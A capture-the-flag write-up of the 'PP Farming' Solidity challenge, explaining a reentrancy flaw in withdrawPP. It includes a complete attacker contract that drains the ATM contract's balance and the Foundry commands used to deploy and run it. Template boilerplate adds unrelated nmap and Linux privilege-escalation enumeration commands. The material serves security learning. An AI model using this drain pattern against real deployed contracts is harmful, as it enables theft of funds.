← Back to Writeups
HTBMediumBlockchain

PP Farming

D3v0o0Nu119/2/20263 min read
#blockchain#htb#medium#reentrancy_attack#checks_effects_interactions_vi#fallback_reentry#contract_balance_drain

PP Farming

Platform: Sekai2026 | Category: Blockchain | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-06-27 | Status: Solved Techniques: reentrancy_attack, checks_effects_interactions_violation, fallback_reentry, contract_balance_drain

Summary

Task: a Solidity ATM tracks donated PP as withdrawable ETH and is pre-funded with 10 ether. Solution: exploit withdrawPP reentrancy because it sends ETH before zeroing the caller score, draining the contract to zero.

Recon

Port scan

bash
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: sekai2026 | ID: 20260627_sekai2026_pp_farming
  • Tags: blockchain, solidity, smart_contract, evm, reentrancy, checks_effects_interactions, foundry, cast, forge
  • Indicators: contract funded with 10 ether, external call before state update, msg.sender.call{value: score}, scores[msg.sender] zeroed after transfer, isSolved requires contract balance to be zero
  • Source: 20260627_sekai2026_pp_farming.md

Foothold

Vulnerability / Misconfiguration

  1. reentrancy_attack
  2. checks_effects_interactions_violation
  3. fallback_reentry
  4. contract_balance_drain
bash
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

bash
sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
bash
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • reentrancy_attack
  • checks_effects_interactions_violation
  • fallback_reentry
  • contract_balance_drain
  • Tags: blockchain, solidity, smart_contract, evm, reentrancy, checks_effects_interactions, foundry, cast, forge

Original Writeup

<details><summary>Click to expand original content</summary>

Description

I found a new way to PP farm, surely nothing could go wrong!

English summary: the artifact contained a small Solidity contract, PerformancePointATM, deployed with 10 ether. The goal was to make isSolved() return true, which required draining the contract balance to zero.

Analysis

The important functions were short:

solidity
function withdrawPP() public {
    uint256 score = scores[msg.sender];
    require(score > 0, "Nothing to withdraw");
    (bool result, ) = msg.sender.call{value: score}("");
    require(result, "Transfer failed");
    scores[msg.sender] = 0;
}

function isSolved() view public returns (bool) {
    return address(this).balance == 0;
}

donatePP(address _to) credits scores[_to] with msg.value. The deploy script created the ATM with 10 ether, so the contract had a large balance before any player action.

The bug is a classic checks-effects-interactions violation. withdrawPP() performs an external call to msg.sender before setting scores[msg.sender] = 0. If msg.sender is a contract, its receive() function can call withdrawPP() again while the same nonzero score is still recorded. Repeating this withdraws the same score multiple times until the ATM is empty.

Solution

  1. Deploy an attacker contract pointing at the challenge PerformancePointATM.
  2. Call attack() with a nonzero ETH value, e.g. 1 ether.
  3. Inside attack(), donate that value to the attacker contract itself with donatePP(address(this)).
  4. Call withdrawPP() once.
  5. In receive(), re-enter withdrawPP() while the ATM still has at least one withdrawal chunk left.
  6. Verify that isSolved() returns true and the ATM balance is 0 wei.

Full exploit contract:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IPerformancePointATM {
    function donatePP(address _to) external payable;
    function withdrawPP() external;
    function isSolved() external view returns (bool);
}

contract AttackPPFarming {
    IPerformancePointATM public immutable atm;
    uint256 public chunk;

    constructor(address _atm) {
        atm = IPerformancePointATM(_atm);
    }

    function attack() external payable {
        require(msg.value > 0, "need initial PP donation");
        chunk = msg.value;
        atm.donatePP{value: chunk}(address(this));
        atm.withdrawPP();
    }

    receive() external payable {
        if (address(atm).balance >= chunk) {
            atm.withdrawPP();
        }
    }
}

Command pattern used with Foundry. The private key was provided by the live instance and is intentionally not included here.

bash
forge create --broadcast --rpc-url "$RPC_URL" --private-key "$PRIVATE_KEY" \
  Attack.sol:AttackPPFarming --constructor-args "$ATM_ADDRESS"

cast send --rpc-url "$RPC_URL" --private-key "$PRIVATE_KEY" \
  --value 1000000000000000000 "$ATTACK_ADDR" "attack()"

cast call --rpc-url "$RPC_URL" "$ATM_ADDRESS" "isSolved()(bool)"
cast balance --rpc-url "$RPC_URL" "$ATM_ADDRESS"

On the live instance, the attack transaction succeeded, isSolved() returned true, and the ATM balance became 0 wei. The platform "Get flag" button then accepted the solved instance.

</details>

signed by XESXOR